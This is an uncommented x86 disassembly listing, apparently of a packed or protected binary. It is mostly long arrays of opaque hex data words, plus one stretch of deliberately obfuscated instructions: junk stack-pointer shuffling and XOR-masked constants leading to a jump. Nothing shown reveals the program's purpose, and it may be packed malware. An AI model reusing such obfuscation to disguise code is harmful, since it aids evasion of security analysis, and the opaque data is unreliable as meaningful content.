dd 518FB850h, 0C18905F0h, 59CF8958h, 6C3868h, 24248900h
dd 4240481h, 59000000h, 24048157h, 2DA935EDh, 5008418Fh
dd 492705B8h, 66254059h, 35337910h, 0B686E01h, 0F029DF25h
dd 0F21A2D6Eh, 4129DC76h, 34FF5808h, 0C4815924h, 4, 5F2434FFh
dd 4C481h, 0A8E90000h, 0EBFFF928h, 0B856E10Fh, 5F056BCh
dd 0E0FFC503h, 0DA41E94h, 2411B6Eh, 5A9D4F8Ch, 0B5A9BC6h
dd 40A4C10Ah, 0A43E3F4h, 6A6DAF3Ah, 54AA9F38h, 17CED233h
dd 3F7903F1h, 28662448h, 163E2839h, 1F611C58h, 7D40F6B7h
dd 3D55AA4h, 3BF83590h, 4EAEC62Fh, 65532640h, 5A4F7A83h
dd 28627A98h, 8FFE9E8h, 45AC54A5h, 500D323Ah, 0D4448EFh
dd 77B3690h, 32A629C0h, 884004EBh, 0A5E9448Ah, 0F4000005h
dd 8A708DB4h, 1C021F4Eh, 0AD93B0DFh, 3C223F72h, 0B2B6D3FEh
dd 214C8A30h, 0B6DD1E04h, 4974B399h, 0D90C462Ch, 600EEFBCh
dd 13394D1Eh
dd 0C26947A0h, 91B25588h, 0C91AA3E3h, 0BAED2716h, 974FEC62h
dd 0C76A95D3h, 5583AEEDh, 6147EE8Bh, 0BBC6F427h, 4876A5E1h
dd 1ACF8F3Dh, 59CF16C9h, 335A9BF7h, 0B89E3B05h, 0AC6CFC7Eh
dd 387154E1h, 0D39DCBFEh, 1DE10F71h, 7684B2E1h, 48822253h
dd 0AACBF815h, 0C9ADBAFCh, 31CE4416h, 0C4E10C4Bh, 547FBD97h
dd 0D9BF5C26h, 36416F9Ah, 11E7BA07h, 0F9962FF8h, 70B1D213h
dd 7552D4FAh, 0A6087582h, 0BB321644h, 5374A3BAh, 280CE2C2h
dd 0B01EEA1Dh, 0FBD2A1FFh, 1439785Eh, 446BACD9h, 0BCEA4C16h
dd 14303B1h, 0D54B16C9h, 0EF41173h, 0DB73A1D4h, 16C901E6h
dd 80AEE11Ch, 235180BCh, 1B83F215h, 0AA1D4F3h, 40CFCC46h
dd 3F7F2D4Eh, 0BF16C915h, 618BAC49h, 51000000h, 275588C2h
dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 48866040h, 8825EF1Dh
dd 167h, 86C22D00h, 0FD1E2957h, 0C91A0F4Fh, 7C198F16h
dd 0FD2B5A96h, 61D718F2h, 0B100B01h, 214FB1E2h, 3E266816h
dd 32A816C9h, 124D33D0h, 88A3B1DFh, 3EF5B967h, 83F916C9h
dd 0E0C4B1E6h, 725875A4h, 0BAE80538h, 2B5984C2h, 0DA094620h
dd 0EC1B573Dh, 8DC0FABEh, 2E619B5Fh, 0E3922F00h, 0BBDC33BBh
dd 0C91A490Dh, 7DD8FC16h, 1854626Dh, 0F9A74AC0h, 16C9C9B5h
dd 0F126C339h, 0B7E22084h, 477AB49Ah, 0E9185519h, 37772546h
dd 0B716C9C9h, 28ECA441h, 5984C2EBh, 0CB05C9F7h, 1B7A6A98h
dd 44DD445Ah, 0C9374C15h, 0C9EA5B1Bh, 3CED6316h, 0CA93DEBh
dd 530D9ED7h, 6D40CF22h, 69h, 1AC0534h, 0BC02DEFBh, 84C2F11Fh
dd 2A672B59h, 447E58FBh, 0AEBC7411h, 7CBAEA8Bh, 104E3451h
dd 8F3DB1EBh, 16C91ACFh, 0C9F759CFh, 0AB6F9DFFh, 400F3D70h
dd 1BD5D69Fh, 2940CFD5h, 52F0F3FAh, 6C1A603Dh, 0E936DF2Ah
dd 3FDC3EB4h, 4A1Eh, 0CD0BE500h, 0DAA74A2h, 5984C2DFh
dd 0FD28672Bh, 6D0857CFh, 0B1CEF937h, 5786C283h, 1AB09129h
dd 93D216C9h, 3B763A68h, 0DC16DA08h, 0BB17BA9h, 0E9118DE8h
dd 5000ABCAh, 4440CFD7h, 0EE317523h, 47BDE936h, 189AAh
dd 7B4F0000h, 5876F54Ch, 0B5B2485Bh, 9FA253EFh, 0F5132E99h
dd 0B6D4E6BAh, 94D1B754h, 0F3A1C265h, 16C948B3h, 7028C53Bh
dd 0A4572ACh, 0A4E5A9D7h, 8BB91B7Dh, 2D5B8AC7h, 0D1FF2A69h
dd 9FFF76EDh, 94C9AC23h, 31589973h, 45093903h, 4916C948h
dd 135036D3h, 2D6741E4h, 6502CCFAh, 7DB791BEh, 0B5521C4Ah
dd 11B4247Ch, 31A7FE63h, 6492081Ch, 44F266A0h, 13206D02h
dd 97B4168Ch, 164477B1h, 7A3CEA0Bh, 8413206Dh, 0F5B7710Eh
dd 4513206Dh, 0EB257FF6h, 7BB59BB8h, 0EE23FF9h, 590AFA52h
dd 3D833B84h, 4F7DDF31h, 0F01E518Bh, 0D0D4A100h, 67466396h
dd 452624B9h, 0FEB7h, 176F7D00h, 9E304A7h, 2D71A1C8h, 0B116C91Ah
dd 0C3719E3Bh, 1C32096Eh, 501442B8h, 0E0C6E316h, 814573A6h
dd 0F6E61447h, 8CC6DE97h, 0B35D3C59h, 0AD4526E6h, 49h
dd 65186F73h, 0C91AF7B7h, 1F81F716h, 1958CE7Ch, 70E616C9h
dd 1AE4AA42h, 3CD916C9h, 4FC11839h, 1698D2ACh, 0F304E4B5h
dd 12F9116h, 0BF6D9A37h, 16C9792Fh, 5285BF2Fh, 0DBF85A24h
dd 86FDh, 29643E00h, 61FEC8F6h, 0AD176F33h, 4A144271h
dd 929745E8h, 591C321Eh, 647AF72Ah, 20A6F0B6h, 0D788FE13h
dd 0E5824ED8h, 9B5F8D03h, 2B112E61h, 0F890BEF1h, 1320F209h
dd 792B4A99h, 0A5D8123Fh, 0A84BAD77h, 0F295D987h, 0A3191320h
dd 0F20C5200h, 1C921320h, 479FD87Fh, 818634D7h, 8D19D08Bh
dd 0EB25E917h, 2FA68AB8h, 43B30B46h, 5E85C6A0h, 22D6C30h
dd 28D603A0h, 1C20DC27h, 340EB127h, 0D49ECCF3h, 7B629037h
dd 0B284534Ch, 78024BB3h, 0D9671871h, 0ED26C304h, 61822595h
dd 0C9DBF3B3h, 0BC02B016h, 4216C9DBh, 61FE74CCh, 0A2818634h
dd 178D1C39h, 0B8EB25E9h, 0CE013B15h, 0A7E795A0h, 2713398Ch
dd 0BB24FB1h, 8AB8EB25h, 4E7344F2h, 5C193CD2h, 0BEDB0E48h
dd 0FCC27091h, 2524359h, 0CF09EF8Ch, 6FAA6E9Ch, 59094DFBh
dd 1F955243h, 4BF91ABDh, 5243590Bh, 0CF274E8Fh, 59246A18h
dd 34AA5243h, 997D35D2h, 17515322h, 0A7E1C7E4h, 0C3B4674h
dd 1FB79C56h, 8260FDEEh, 3, 0C233A1C2h, 692D5B82h, 0ACEFC2Fh
dd 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h
dd 0E0A4D201h, 864775A4h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push esi
push 691960A0h
pop esi
or esi, 23F08C3h
add esi, 9AB0EEEBh
push esi
xor dword ptr [esp], 0CAF107Ah
pop ebx
xor ebx, 0CAF107Ah
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
push edi
mov edi, 2D726169h
xor [esp+4], edi
pop edi
pop dword ptr [edi+8]
xor dword ptr [edi+8], 2D726169h
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 0CBh, 0FEh, 31h
dd 0F05CBFB8h, 0FFC50305h, 8127AFE0h, 63DA3C6Eh, 83DDB036h
dd 0AA8BC27Bh, 95586717h, 5AC2CC77h, 3BADB046h, 1FFBB252h
dd 0BAC2CD02h, 21FB7B6Eh, 0E5EA2071h, 0FF7AE356h, 0CFE0E25Ch
dd 0B5039C7Ch, 0C21D906Bh, 737E9734h, 626B879h, 7D395868h
dd 0F62D6C44h, 92A85555h, 0BF2F374Dh, 0DC344A75h, 52F42344h
dd 89438174h, 6C998578h, 0A414BC66h, 2D7C9134h, 0B18AC61Fh
dd 818D8D13h, 6A05F05Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0BF3AC351h, 7A092E72h
dd 12699509h, 8D8905E9h, 5E92655h, 6800Fh, 9D890000h, 5E91745h
dd 80585C7h, 5D4805E9h, 8A0F0000h, 3, 0C7F28B66h, 0E9163D85h
dd 5, 39953300h, 0FF05E90Fh, 0E92355B5h, 0E7816605h, 95FFA36Dh
dd 5E90BC5h, 0FE8h, 0DCFF6C00h, 19CDD826h, 859448E6h, 0A1962311h
dd 2AB5B531h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 0D15AEBC0h
dd 3C288310h, 4E8B917Bh, 1F1FBFCDh, 0F85BB1BFh, 36A7C4B7h
dd 606440BAh, 0BA63065Dh, 47EE13EBh, 27388ED7h, 0B192F1FDh
dd 0F6DE0A50h, 38F3F449h, 62F659D2h, 979B6F22h, 4BAFCA1Dh
dd 0D14FD334h, 4DE6C418h, 0C1EB8036h, 23544725h, 70E2AF2Bh
dd 9C5C2761h, 0D13D28CAh, 3C04EB9Eh, 0E9134D63h, 50Ch
dd 537097D7h, 0E502316Dh, 7693C2FFh, 5225590h, 99B6E11Fh
dd 27654D95h, 0B8F9DFFCh, 4F8E7491h, 0E7210724h, 0E9CA97B4h
dd 39447B3Bh, 4D2A8313h, 0D8063973h, 4873B20Eh, 85B3501Ah
dd 275588C2h, 0DDFA2563h, 0E78ABDF7h, 1A5618C6h, 0E25816C9h
dd 8FC98D45h, 2E6A2E5Ch, 0A8C3D1FFh, 446FAD87h, 0C91A5214h
dd 49E65C16h, 9436114h, 770433D6h, 4258C6FCh, 0ACD91DB1h
dd 0E2447650h, 79B89E45h, 85E71A54h, 9FCA08E2h, 630AA771h
dd 0E5133E7Dh, 8BB9E021h, 184530A7h, 0D80549F7h, 198916C9h
dd 0B14EB0DBh, 44618CCBh, 4EF1245Eh, 0D83F7F2Dh, 49BF16C9h
dd 675CF4ACh, 0CF16C9D8h, 3AE6C5B0h, 3640CF15h, 5Fh, 5588C2FCh
dd 7097D8B2h, 23DB7842h, 0C91AC98Bh, 93E20116h, 0CFD74818h
dd 16840h, 0C22E0000h, 65295786h, 963BAB29h, 5492A48Ah
dd 287995A3h, 30920BEAh, 55CE5E8Dh, 1BC6013Fh, 0E1BBC67Eh
dd 0F3D976A5h, 495785B8h, 19554F26h, 0ADE7CDEAh, 40B7582Bh
dd 0DAA4D205h, 0F1910329h, 0C244728Fh, 0B48E0A84h, 0B4157DFh
dd 0D93B9DD0h, 7CABE7ABh, 76FF5E4Eh, 0A8C5F02Eh, 275588C2h
dd 0BCFD2663h, 3B9D6795h, 0D89D3E0Dh, 426DAB85h, 20AC6A5h
dd 7D2640CFh, 0ED000000h, 7BA9D413h, 0C2E614B1h, 202B5984h
dd 0AFDD0846h, 3F3A34E5h, 0E34E318Bh, 0FA236046h, 12F91BCh
dd 0B8A5D0F3h, 4371A4DEh, 0B8F6DC79h, 2243708Dh, 0C9F23274h
dd 0A946BC16h, 2C5A85C3h, 0CCFA2D68h, 92195CFDh, 40CF3DDEh
dd 81F2h, 84C2B800h, 0A0DCB659h, 0B097C071h, 3EAC5E36h
dd 0BDDEE9A1h, 0C9734F0Fh, 3CD94F16h, 0BEEC1756h, 267EF746h
dd 88CE7CE8h, 1616C973h, 0F3213EA0h, 0EAAC5A7Bh, 0F416C91Ah
dd 0BFFBE17Eh, 1ECCED90h, 16C91A58h, 9B53F066h, 0C91A3E03h
dd 0DB064416h, 673E94ADh, 5F30BD8Fh, 6D9BC203h, 0F3D6CA9h
dd 2352C945h, 4134537Bh, 94DFB1Ch, 9516C976h, 8DBBE625h
dd 0E5C461C3h, 40CFBB3Bh, 135h, 85C2FB00h, 7384B356h, 0A155C2ACh
dd 0DA9E56F3h, 7B3F6DA0h, 20E4123Dh, 0D85B3E6h, 6BE7B7BEh
dd 0E62381F4h, 9619AB7h, 0DB48F699h, 2B1C3192h, 0FE3812B5h
dd 376594D1h, 0B66E0B6Dh, 6885B8F2h, 6FC64882h, 0EF84BE2Ch
dd 0F9043294h, 81BBE01Fh, 0F456204Eh, 33DB9D57h, 0A1DB1320h
dd 0A90B3674h, 4B7AB77Bh, 0EC1F591Dh, 2B4EF4BEh, 0F544544Ah
dd 0B7EA2480h, 477AB49Ah, 0E81B5519h, 8CB7F6BAh, 2F5E9A5Eh
dd 9CDB3701h, 0E85F4371h, 3289118Dh, 33236311h, 35AB1320h
dd 92126398h, 29082558h, 4526FE67h, 0DF973E6Dh, 3D09644h
dd 68DE1320h, 113401B7h, 0A643A5D4h, 0FB85h, 176F4B00h
dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h, 0B8F2B6E4h
dd 8675785h, 0CAFD376Dh, 165180ADh, 0CCFF3A9Fh, 0B9A71B1Bh
dd 0C6933D1Ch, 638D4526h, 53000000h, 3A6186Fh, 0C919C155h
dd 0EB280216h, 295786C2h, 5CFFD5Fh, 27C18668h, 6DDDF649h
dd 932B59BBh, 16C9B1D3h, 3E6C9BD7h, 0DF0D407Ah, 415D1867h
dd 2F6943D8h, 0EBAB59FCh, 0F316C9B1h, 0CAABE07Dh, 0BE6F3087h
dd 0DDCD8DFFh, 0B866096Bh, 16C94E26h, 0B795B228h, 6Ch
dd 75DAC9F8h, 0FDB81F29h, 176F3260h, 555604A7h, 0E11C321Eh
dd 58323D6Bh, 684EEB1Eh, 0F8DEFB2Eh, 0C55D8BBEh, 1320163Eh
dd 65F87DCCh, 86234A8Bh, 0C0E466A0h, 762C5551h, 0B2EB086Ah
dd 9947EA5Ah, 19D0DD77h, 0C1745BBh, 0F5793DEBh, 0F8516D0h
dd 1F528C72h, 0DF960DF1h, 7AA1A72h, 0A0CF0CE6h, 510BA872h
dd 1C2083AFh, 32607DF3h, 3665A17Bh, 98086099h, 6CA547F5h
dd 77ED1C39h, 0D00F3E49h, 458F3BF4h, 0D00AF08Dh, 0DF20FA9Dh
dd 8E741BB8h, 0BDE82754h, 1952D5Bh, 0BF087691h, 5584D99Ch
dd 1AF22AAh, 58479BDh, 211ACB41h, 8CB7F587h, 9532945Eh
dd 254275AFh, 0A4D2053Fh, 8331A5E0h, 5849AC3h, 0C5F355CBh
dd 520B6AE1h, 0A20B1323h, 61FE5C1Eh, 0F10E417Bh, 835DD10Bh
dd 0A1E51548h, 2D05848Ch, 0EE215BB7h, 3A25E8Ch, 0E2000000h
dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h
dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h, 68864775h
dd 5201h, 68240489h, 3A58h, 68241489h, 1175h, 56240489h
dd 5962F3BEh, 0D1D6F740h, 0F2C681EEh, 0C160DD7Bh, 0DEF706EEh
dd 2214C681h, 0F28908F3h, 8124348Bh, 4C4h, 48B5400h, 4C48324h
dd 2ABE5652h, 315D0D6Bh, 5E042474h, 8108408Fh, 6B2A0870h
dd 34FF5D0Dh, 0C4835824h, 2434FF04h, 4C4815Ah, 0E9000000h
dd 0FFF91C0Bh, 42A6685Ch, 4D66D2FFh, 0DC37D7B6h, 0F0637AB8h
dd 0FFC50305h, 0B4C595E0h, 59FE2677h, 0A10CE705h, 0E08F0134h
dd 2FCB570Dh, 0BA548A25h, 8CED7A4Dh, 37325541h, 6C8D9570h
dd 5C568E39h, 0E8EDCE1Eh, 0DCEA095Fh, 0B36FDB4Ah, 0DB2BC10Eh
dd 5CE93579h, 0FA853D3Fh, 0A84C9C23h, 1558D548h, 1070E83Dh
dd 3289786Ah, 3DE94842h, 0B557464Ah, 0DC440F48h, 85141224h
dd 806F4050h, 10B54C47h, 58D8D14h, 0F505F065h, 26558D89h
dd 95205E9h, 0E91621BDh, 85C75805h, 5E90805h, 5E4Ch, 2D65BD31h
dd 85C705E9h, 5E9163Dh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 1BC35242h
dd 2352711Ah, 0E90D2185h, 958B5B05h, 5E905FDh, 4BDB5FFh
dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 2D6C70C3h, 0FFCBDAC7h, 0E90BC595h, 0F5BE6605h
dd 5E956h, 90250000h, 6ABB1366h, 9595FF00h, 8B05E91Eh
dd 1569EBC0h, 1097B82Ch, 0AC3F8269h, 3A1FF4F5h, 5E511F31h
dd 0FB3A89BDh, 66957DD5h, 54E5C24Eh, 6FA76389h, 0E155AE56h
dd 8EE0B65Ch, 0E927E473h, 5F07B549h, 0D7782D4Fh, 29C187F9h
dd 71207969h, 96E8136Dh, 81FDF7C8h, 84F197DFh, 7EFFBE16h
dd 0EB56D24Fh, 0E895B7CFh, 2047F138h, 0D3DB537Fh, 73F2EE04h
dd 0EA6D9EA8h, 0B43E8A83h, 0E96204EBh, 5AE95063h, 44000005h
dd 0DAC0DD04h, 6C526F9Eh, 0FDE3002Fh, 8C728FC2h, 206234Eh
dd 719CDAE0h, 62D6E54h, 99C403E9h, 295C967Ch, 0B05E3F0Ch
dd 13397FEEh, 0C2B997F0h, 63275588h, 0F7DDFA25h, 515C8ABDh
dd 1A3C8230h, 4CC216C9h, 5C8FC9AFh, 0FF2E6A2Eh, 86862D5Ch
dd 5088AA25h, 0CAEDFBB3h, 8CBFF9ABh, 0A6D10FE9h, 3D7C6209h
dd 0D00FF512h, 0E72802A5h, 0FC2364C0h, 0C29CA75Fh, 0D4BA5786h
dd 5A3E6C93h, 0D31292E3h, 0ED2B05A8h, 19CA94C2h, 0ECC80979h
dd 4CF390A3h, 56F92C66h, 0E4123D7Ch, 85C9771Ah, 916C97Fh
dd 0A63EF693h, 16C97F9Dh, 0E27BFA19h, 0F13D42B3h, 3AD79EB9h
dd 0CF4EB55Bh, 6CAB40h, 0C2710000h, 8F275588h, 16C91ACDh
dd 356396D1h, 0DA083371h, 0AEF67FF6h, 4C16446Fh, 8AABC2EAh
dd 194772B0h, 1A5F1F4Fh, 0E95F16C9h, 4D5E174Ch, 40CFD783h
dd 0E9Dh, 95436400h, 0E936EED1h, 336DDDh, 0C2D3019Eh, 65295786h
dd 8CCFA29h, 0D6F79ACDh, 0C91A6628h, 55F26816h, 96C8F9Dh
dd 13305F9Bh, 87C6F32Dh, 2642E5Ch, 84C2B7E5h, 2B672B59h
dd 1A490DBBh, 0DF5516C9h, 5F4F7Dh, 85F12F75h, 0C91A97D7h
dd 3FA11716h, 0CF023C22h, 0DD6796A1h, 5B86C569h, 26B2632Dh
dd 0B7F7A581h, 3716C9E5h, 0DCC25FC1h, 7E42709Fh, 24E8163Dh
dd 738CBAE5h, 0F37FF9CCh, 0E003A9CDh, 1A20995h, 0BE793774h
dd 719740CFh, 5D000000h, 3C65A17Bh, 0D9A3D100h, 0B6F4DA77h
dd 5C995D8Bh, 0D6F1FF2Dh, 1A4707B5h, 0D14716C9h, 0DE0C3775h
dd 33427714h, 0EB083371h, 0C44DC705h, 0B6C8234Fh, 561A48AAh
dd 0EBBAE81Bh, 0C0802B4Ah, 0E040CFD7h, 50h, 5984C2A6h
dd 0FD28672Bh, 9ED10BCFh, 426DAC70h, 0DF2AACE6h, 0A5256E06h
dd 0D3C3F153h, 8D9D0174h, 0FE316C46h, 5B492C61h, 0A7D5F21Dh
dd 295786C2h, 0C91AB091h, 15EF0616h, 4574B0D9h, 8FEB4D17h
dd 53882550h, 0D7C78922h, 1D940CFh, 9F000000h, 0B2E54C7Bh
dd 8283DA48h, 3DC3CED1h, 47E42136h, 52F52461h, 700D3C78h
dd 46BAF4B8h, 0C978D698h, 62D816h, 0A57FEED2h, 0D3023F68h
dd 0DC79DBA5h, 99D6CEA7h, 0CE0D3270h, 49AB75A3h, 0D2EF511Bh
dd 2ED14199h, 3197E380h, 78B3231Ch, 6640E345h, 95C0FE2Bh
dd 0D3DE9633h, 3AAFEBA4h, 1AB744D9h, 92CDFA34h, 0B3E0FD5Fh
dd 868C3784h, 4DA9D303h, 6147E40Fh, 8EBDFA27h, 0E7A75560h
dd 0E713204Ch, 7FAD0F71h, 204CA5E7h, 4F267513h, 34ACDF0Eh
dd 7344A99Fh, 904741C2h, 0BA5769A5h, 0C4679AD4h, 0C43C7595h
dd 0E17EACDEh, 0E71A543Ah, 88BBF5B9h, 6A0B6A5Ah, 94D3003Ah
dd 0C0713B69h, 6291FE3Ch, 0A1BE20C2h, 26BB1EC2h, 17C1245h
dd 6FD80000h, 0E304A717h, 1AD0ABB4h, 0B24FAC81h, 32E35BF8h
dd 0E7158B1Ch, 13B6E923h, 6323D1F2h, 6B1320C1h, 0C181C5F5h
dd 970D1320h, 336D53FAh, 0D40ED200h, 0C1ECB260h, 7CF21320h
dd 9DFCEC1Ah, 356485D8h, 0BB0996B2h, 652959C9h, 6913205Dh
dd 2B5A97F3h, 0B09633FDh, 12540276h, 9C13205Dh, 0C8A7C426h
dd 45269018h, 3F18h, 186FDE00h, 0C1E203A6h, 4C7AADE7h
dd 1A0C5282h, 1C9216C9h, 1951C57Fh, 67DD16C9h, 1ADDA139h
dd 33D016C9h, 9AEC1B42h, 0A8AEABE3h, 1F76AF4Ch, 0CA5C0AADh
dd 5416C913h, 0D3E3C1DEh, 23000000h, 3766176Fh, 462A6F93h
dd 40063609h, 4E16C998h, 0B2D376D8h, 6B5F1883h, 0F5D68577h
dd 7EE29380h, 0C7811EE1h, 1C3249C2h, 1A3BDE54h, 0A5D50440h
dd 132041E1h, 26D477EDh, 13204160h, 0A35BF86Eh, 0CF72A5DFh
dd 5B89B8F5h, 674DF491h, 93C6002Dh, 0DF4B4C65h, 5968BB9Ah
dd 0CF6795F7h, 1320D830h, 0E00E3576h, 6465DB1Ch, 0F0DCB332h
dd 4A2E5CBEh, 0ECFCA2D3h, 5685D89Dh, 0FA4125C8h, 15FB98A4h
dd 528BA8DBh, 284F90FAh, 7523C6h, 4E19D031h, 4270A3DEh
dd 52731678h, 0F116A223h, 95C539C7h, 16D06CD1h, 12CA67DDh
dd 0B3E1144Eh, 341D58CFh, 43772DCh, 7AA0CD6h, 22BFF22Dh
dd 0BEFAD4F5h, 4738F28Fh, 3C1C2043h, 0C7F52862h, 87E60FDh
dd 176FBDEBh, 215604A7h, 6D1C3935h, 0CB05C9F7h, 5B957B98h
dd 0CB62FA28h, 1C9A7F2h, 0D30D97DEh, 639D83A0h, 0BE6C8D30h
dd 46AAFDF8h, 3BF39006h, 1AC83C77h, 46AAFD54h, 93EB1A56h
dd 3E18BB1Dh, 7D35D201h, 51532299h, 0E1C7E417h, 8A4674A7h
dd 3, 0C233A1CAh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh
dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
dd 8904EC83h, 0BB682404h, 89000012h, 8952242Ch, 4C281E2h
dd 81000000h, 4EAh, 24148700h, 2414895Ch, 0F0657E68h, 242C8B05h
dd 4C481h, 0EC830000h, 24248904h, 4240481h, 5A000000h
dd 24348155h, 2F2D3904h, 5608428Fh, 2D3904BEh, 872312Fh
dd 24148B5Eh, 5E08950h, 4, 8704C083h, 0FF5C2404h, 835D2434h
dd 24E904C4h, 57FFF915h, 3AFA08BDh, 6A5FB8CEh, 0C50305F0h
dd 65DEE0FFh, 392A2077h, 176016EAh, 7A231A7Bh, 15D732F9h
dd 247A13C3h, 77101063h, 1B723BD0h, 89C64C45h, 0CB003942h
dd 0B1883FD9h, 47960F13h, 93A82BE5h, 7A4B497Eh, 556F58E0h
dd 0C2A6514h, 0B0C70BBFh, 2F015312h, 0AB371301h, 2856518Dh
dd 0FD86177Eh, 4EB0E97h, 0A5A7E1Ch, 583E9h, 1B428200h
dd 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h, 18A24044h
dd 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah, 71A8EE9Ch
dd 0DD361339h, 544C7BFFh, 0E4ECB9E9h, 0E2114EAAh, 0F2255F45h
dd 56C200C4h, 0C938E6A8h, 3978E816h, 0B416E00Eh, 154F3552h
dd 24653FE2h, 6805CFFDh, 3EB2ECB0h, 0C938CE90h, 1A0BD016h
dd 7DB069CAh, 0EC1A7CDEh, 4C12C0E1h, 5216C9ACh, 0FF152BDCh
dd 484444B8h, 5A89C5ABh, 7AFB1E2Ch, 4CCE09E3h, 5DF9DB14h
dd 0ABD93BB6h, 245E44E1h, 0CDA7D4F1h, 67315F92h, 709ED10Bh
dd 0E42309A6h, 0FD6F2C6Ah, 0E4461750h, 82C09AC7h, 95D4BA57h
dd 37783C6Ah, 0F81629C1h, 0A0020E9Ah, 466DAE72h, 0EA155418h
dd 5796F2BCh, 7D793DEBh, 0F8516C9h, 11AE7FADh, 0D4034064h
dd 0FE7ADCA6h, 4C77B58Fh, 82B7541Eh, 9B496AF3h, 16C97DDBh
dd 0EAD06DE3h, 0C38031ABh, 8B46912Fh, 0EC260C29h, 0CEF38BB9h
dd 6816C998h, 0D17F2C49h, 0CF40CF55h, 89h, 619B7596h, 636002Eh
dd 16C96C40h, 8735D84Eh, 16C96CC7h, 86B451C7h, 0B25588C2h
dd 9209AD8h, 78CB84F2h, 0B26A0769h, 0C9A2561Ah, 9B758C16h
dd 5C912E61h, 75234419h, 16C9A231h, 0CBAA47BDh
dd 40CF6F05h, 11Bh, 86C2E100h, 29652957h, 3F7D57FAh, 87CDE614h
dd 70C666B5h, 0EFA744A6h, 86C3F02Bh, 0D2266816h, 32A816C9h
dd 76D8A2D0h, 18478448h, 0BDE826EAh, 4134AB8Fh, 0E194B75Dh
dd 3B5887C3h, 0CBE81B55h, 5F84C29Dh, 0FBC5F322h, 80A8A14Ah
dd 94F618A6h, 3766A266h, 0BBBA1909h, 6380ABE9h, 27671536h
dd 0A716C909h, 6998D531h, 0EED4713Bh, 8F5381B4h, 26F52352h
dd 4679B38Dh, 7CB14E18h, 0C6FEB2F9h, 731240CFh, 0D9000000h
dd 6997BEFFh, 0C2D4029Fh, 672B5984h, 0BFCDFB2Ah, 8DCBD99Ch
dd 215F4562h, 0C904C8F6h, 0BB5A6047h, 0CDA58526h, 0A6DB5C74h
dd 87B51779h, 4D5E17B8h, 40CFD593h, 5AADh, 84C27300h, 0A0DCB659h
dd 111CD471h, 0A1CFF637h, 13759CDDh, 26519076h, 0F2B46283h
dd 0FC16C91Ah, 6D31E986h, 11D5032Eh, 179A7D2h, 0A0E1C3B2h
dd 0B8071779h, 7EA9E7BDh, 5A7B3361h, 0C91AEAACh, 0E17EF416h
dd 6290BFFBh, 0C91AF9CAh, 571E3D16h, 0CFD78C54h, 1A440h
dd 0C26A0000h, 64285685h, 0E5C9F72Ah, 3C7B5576h, 1A9DE111h
dd 0AB2116C9h, 89CD90Eh, 467F9CCBh, 0BADB7EEEh, 4876A1E0h
dd 466BE72Fh, 66C81DA0h, 63920FC9h, 7EF41C31h, 76244550h
dd 1320A930h, 0C5AB48BEh, 553B588Bh, 22BAE81Bh, 1320A95Eh
dd 45185DACh, 5130F816h, 0EBF5181h, 0C6E0B589h, 13F99609h
dd 2903A6D9h, 0C892C0EBh, 649E842Bh, 53F0331h, 55B4A4D2h
dd 174A8420h, 84325374h, 13205DC2h, 602656CCh, 6E13205Dh
dd 0B6EE17A9h, 0D1337555h, 0E2AE8D34h, 0FE452614h, 11Ah
dd 0A7176FC4h, 9FD5604h, 0B9291C32h, 0C0EE507Bh, 728FC2FCh
dd 30762445h, 6513202Bh, 0E262BCCBh, 0B42A82ECh, 0C4F73117h
dd 6598D296h, 8DE84737h, 8DAADD17h, 2691E2AEh, 3EFE45h
dd 6FC40000h, 0E203A618h, 6C9ACD08h, 0DB4B05A2h, 6316C919h
dd 6727BFEDh, 5616C91Ah, 3E95BCB9h, 5FA29CCh, 89F1440Ch
dd 0A8C9F693h, 346291CEh, 8313CD6Ah, 8B16C956h, 9F1AF815h
dd 5A000000h, 4A7176Fh, 321E5556h, 3D6BE11Ch, 8EBD3F79h
dd 8A8E3D1Eh, 29A0733Dh, 36245678h, 1A5731D4h, 0EF689E9Ch
dd 0FB5DC93Fh, 97D1B75Eh, 692C164h, 0EFAF7713h, 265591EDh
dd 0CA39D189h, 0C132032h, 0EFAF5DD1h, 0EF132032h, 25E91779h
dd 138BB9E8h, 0DDEDB1C4h, 9C76E78Eh, 3C06345Bh, 32ABEB99h
dd 0BD331320h, 0CD003A20h, 0AF1F77B0h, 0E1BCEB0Ch, 4B7EB90Eh
dd 47D549Ah, 889EAD67h, 6EE419D0h, 0F427C40h, 0EF86FDE1h
dd 0F79A0A62h, 0FC8AA7D6h, 0D5123721h, 0AC4F7E38h, 1D931C20h
dd 176FD200h, 675604A7h, 601C393Fh, 0F01E4586h, 31A78926h
dd 0E01EF803h, 0EF1A59B5h, 745AF7C1h, 4EA073Ah, 0D16997CAh
dd 139F708Dh, 0B664CC0Dh, 1C937EF0h, 0F82688FEh, 9BC9F834h
dd 56482DCAh, 0BCE88DB0h, 7DAC4F82h, 4BF9405Ch, 1C93DB0Bh
dd 826C1D93h, 0A14FF287h, 1C935ADDh, 27CE6BE1h, 9DDA0741h
